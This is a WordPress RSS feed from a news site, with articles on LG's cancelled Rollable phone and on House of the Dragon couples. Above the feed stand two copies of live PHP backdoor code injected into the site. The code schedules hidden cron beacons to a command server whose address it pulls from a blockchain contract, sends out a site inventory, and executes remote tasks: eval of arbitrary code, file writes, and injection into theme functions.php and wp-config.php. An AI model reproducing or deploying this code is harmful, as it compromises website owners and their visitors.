// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); doomed – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Sep 2022 03:06:43 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png doomed – Brief News https://briefnews.eu 32 32 LG’s doomed Rollable phone appears on video to show us what we missed https://briefnews.eu/lgs-doomed-rollable-phone-appears-on-video-to-show-us-what-we-missed/ https://briefnews.eu/lgs-doomed-rollable-phone-appears-on-video-to-show-us-what-we-missed/#respond Wed, 21 Sep 2022 03:06:43 +0000 https://briefnews.eu/lgs-doomed-rollable-phone-appears-on-video-to-show-us-what-we-missed/ At CES 2021, LG wowed us with a short teaser of its innovative Rollable concept phone. Unfortunately, the company shuttered its smartphone division, and with it, plans of launching its rollable display phone were also put on ice forever. However, the LG Rollable has now been detailed in a video, complete with a market-ready retail package.

It appears that the phone was unceremoniously canceled right at the cusp of a public launch, which is a shame and a huge loss for phone enthusiasts. The LG Rollable had a lot going for it. The top and bottom edges have rail-inspired sliding mechanisms that extend/shrink the frame to reveal/hide the extra screen real estate.

LG Rollable front in standard form.

When the LG Rollable is being used like a regular phone, the expandable portion of the screen that wrapped around the edge and covered just over half of the rear panel was turned off. However, if you flip the device, it can be turned on and used as a regular screen, albeit with limited functionality, like the Samsung Galaxy Z Flip 4.

With the rear portion of the screen activated, the doomed LG phone also offered users the flexibility to use it as a viewfinder for clicking selfies using the high-resolution rear cameras. The idea is reminiscent of Huawei’s Mate X series foldable phones.

LG rollable side profile.

LG was also apparently not a fan of a notch, holes, or an ugly floating cutout for the front camera array. Instead, the selfie camera is tucked neatly in the top-left corner of the frame, offering a truly full-screen experience.

Almost an LG phone salvation

Over at the back, the rollable segment blended almost seamlessly with a raised rib housing the dual selfie camera and the fingerprint sensor right beneath it. The biometric hardware is the reliable round sensor, instead of the cramped pill-shaped and side-mounted fingerprint sensors on modern-day phones.

There appears to be some kind of pressure or light sensor on the right edge that activates the display rolling and unrolling behavior.  The mechanism appears to be quite robust, enough to move a couple of thick books as the screen unfolds.

However, a three-finger swipe from the left to the right edge, or vice versa, would also do the job. It also looks quite neat and almost flawlessly executed by LG’s engineers. Plus, there’s a one-tap quick toggle button system that can be accessed by swiping inward from the right edge to do the same.

Doing right by the tablet genes

As the display slides open to reveal a tablet-like expanse, the UI elements also expand accordingly. For example, the Settings app smoothly expands to a two-row format, a design element that Google showcased with Android 12L. LG also appears to have created a side panel-like system that we see on Samsung’s One UI skin, allowing users to access their favorite apps and tools in a jiffy.

LG Rollable hinge slide hardware.

The display in its natural state is a 6.8-inch unit, but when it’s rolled out, it offers a tablet-esque 7.4-inch panel. The lights are kept on by a 4,500mAh battery, but there’s no scope for wireless charging owing to the design.

The aspect ratio is on the taller side at 1.5:1, which is a far cry from the squarish approach taken by the likes of Samsung’s Galaxy Z Fold 4 and the Oppo Find N. But the tall aspect ratio on the LG Rollable is also quite advantageous, because letterboxing is minimal while watching videos, and the situation with games would also be more palatable.

LG Rollable phone rear face.

As far as specs go, the rear camera setup includes a 64-megapixel main snapper capable of 8K video capture, sitting alongside a 12-megapixel ultra wide-angle shooter. Qualcomm’s Snapdragon 888 keeps it ticking in tandem with 12GB of RAM and 256GB of onboard storage.

LG Rollable screen in expanded mode.

Tipping the scales at 285 grams, the LG Rollable fell in the same weight class as the Samsung Galaxy Z Fold 4. Going by the level of software finesse and the solid hardware of the engineering prototype, it appears that the LG Rollable was nixed at the last moment.

Oppo is currently working on the same formula, but its own take on the concept got stuck in quality assessment hell after showcasing it to journalists and releasing a few tantalizing teaser videos.

]]> https://briefnews.eu/lgs-doomed-rollable-phone-appears-on-video-to-show-us-what-we-missed/feed/ 0 How One Of House Of The Dragon’s Tragic Couples Mirrors A Doomed Game Of Thrones Pairing https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/ https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/#respond Mon, 19 Sep 2022 21:44:22 +0000 https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/

This article contains spoilers for “House of the Dragon” episode five and “Game of Thrones.”

Most couples on “Game of Thrones” and its prequel series, “House of the Dragon,” are pretty much doomed from the start. Life in Westeros is hard, even for its most rich and powerful, and marriages are rarely a matter of love. For Rhaenyra Targaryen (Milly Alcock) and Laenor Velaryon (Theo Nate), marriage is entirely political. They will unite two ancient houses and help cement political alliances, forging a new path forward with their offspring. Both of them a bit hesitant to wed because they already have romantic interests, but are able to come to an agreement that should satisfy everyone. They’re surprisingly progressive in a frequently backwards world, opting for a secret open marriage that will allow Laenor to express his true feelings for the Knight of Kisses, Joffrey (Solly McLeod), while Rhaenyra can continue her tryst with Ser Cole (Fabien Frankel). 

The duo reminded me of another ill-fated pair from “Game of Thrones”: Renly Baratheon (Gethin Anthony) and Margaery Tyrell (Natalie Dormer). Like Laenor, Renly was a gay man who was expected to wed a woman and beget heirs, and like Rhaenyra, Margaery was more than willing to find ways to ensure everyone could have their cake and eat it too. Unfortunately, Westeros is an awful place and love never wins, but you have to give them all points for trying. 

King And Queen Of My Heart

Renly and Margaery were a delightful juxtaposition to some of the other couples on “Game of Thrones.” Almost every married pair kept secrets from one another, whether it was Cersei’s (Lena Headey) keeping her affairs with her brother a secret from the King or Ned Stark (Sean Bean) keeping the true nature of Jon Snow’s (Kit Harrington) parentage from his wife, but Renly and Margaery were pretty open and honest with one another. Margaery knew that Renly was in love with her brother, Loras (Finn Jones), and went out of her way to try and reassure Renly that she didn’t mind as long as he helped her produce heirs. Others weren’t as accepting of Renly, and there were plenty of tiny japes at his expense because of his sexuality, because homophobia is alive and well in Westeros. Eventually Renly met a tragic end because of his brother Stannis and Margaery goes on to take part in one of the franchise’s many tragic weddings, but for a brief period they looked like a potential progressive future for the Seven Kingdoms. 

There was no real love between Renly and Margaery, at least not in the romantic or sexual sense, but they had one thing most of the other couples in the franchise sorely lack: mutual respect. While “House of the Dragon” is focusing on the feminine perspective, that doesn’t remove the rotten marriages. Alicent (Emily Carey) is basically a caretaker and baby maker for King Viserys (Paddy Considine), for example, while Prince Daemon (Matt Smith) only ever used his wife to gain a bit of property. Thankfully, Rhaenyra and Laenor have at least unique couple to look up to: Laenor’s parents, Corlys and Rhaenys Velarion (Steve Toussaint and Eve Best). 

A Potentially Problematic Proposition

While figuring out the nature of their betrothal, Rhaenyra suggests to Laenor that they can have extramarital affairs as long as they make plenty of babies for the line of succession. She, like Margaery, doesn’t really mind that he’s more interested in other men, and she would rather be with Ser Cole or even her uncle Daemon (Matt Smith) anyway. There are some potential concerns down the line, as that Old Valyrian blood is strong, and people might ask questions if potential heirs don’t look like both parents, but if Cersei Lannister managed to keep her three incest children off the chopping block for as long as she did despite them looking like little clones of herself and her twin, then maybe people in Westeros don’t understand genetics all that well. 

Either way, the way the two talk with one another shows the same kind of mutual care and respect that Laenor’s parents have for each other, and it would do the both of them a lot of good to continue mirroring that pair. Their progressive, potentially lovely plan was unfortunately undone by Ser Cole’s murderous display at the wedding, and they’re going to need to learn to lean on each other if they’re going to survive a future together in King’s Landing. 

Perhaps It’s Time For A Change Of Location

While I understand the inclination to continue to tell stories in Westeros, especially this one, because it’s based on history but adds dragon battles, maybe it’s time for a change of location for the franchise. Westeros is basically the Alabama of author George R.R. Martin’s world, where homophobia, misogyny, and incest run rampant, but there are plenty of other great, unexplored locations that deserve their own shot. After all, I love a gritty fantasy series with lots of sex and violence, but the regular inclusion of bigotry is a reminder of real-world misery that I would rather leave behind. While there is a series planned about Nymeria, who united Dorne, there should be a series about later-era Dorne, when it’s a beacon of knowledge, progressive ideals, and great wine. There’s still plenty of backstabbing, secrets, and political posturing in Dorne, but people aren’t condemned for their sexuality and bastards are given the same rights as children born in wedlock. Oh, and women have significantly more rights. Dorne kind of rules, and it’s a shame that we’ve barely seen any of it. 

Similarly, there are the Summer Isles, which are described as being almost utopian, and other cultures even the books have yet to explore. Maybe it’s time to leave Westeros behind, or at the very least, take a little vacation to somewhere more enlightened. 

New episodes of “House of the Dragon” debut Sundays on HBO and HBO Max. 

Read this next: Every Game Of Thrones Spin-Off Show In Development

The post How One of House of the Dragon’s Tragic Couples Mirrors a Doomed Game of Thrones Pairing appeared first on /Film.

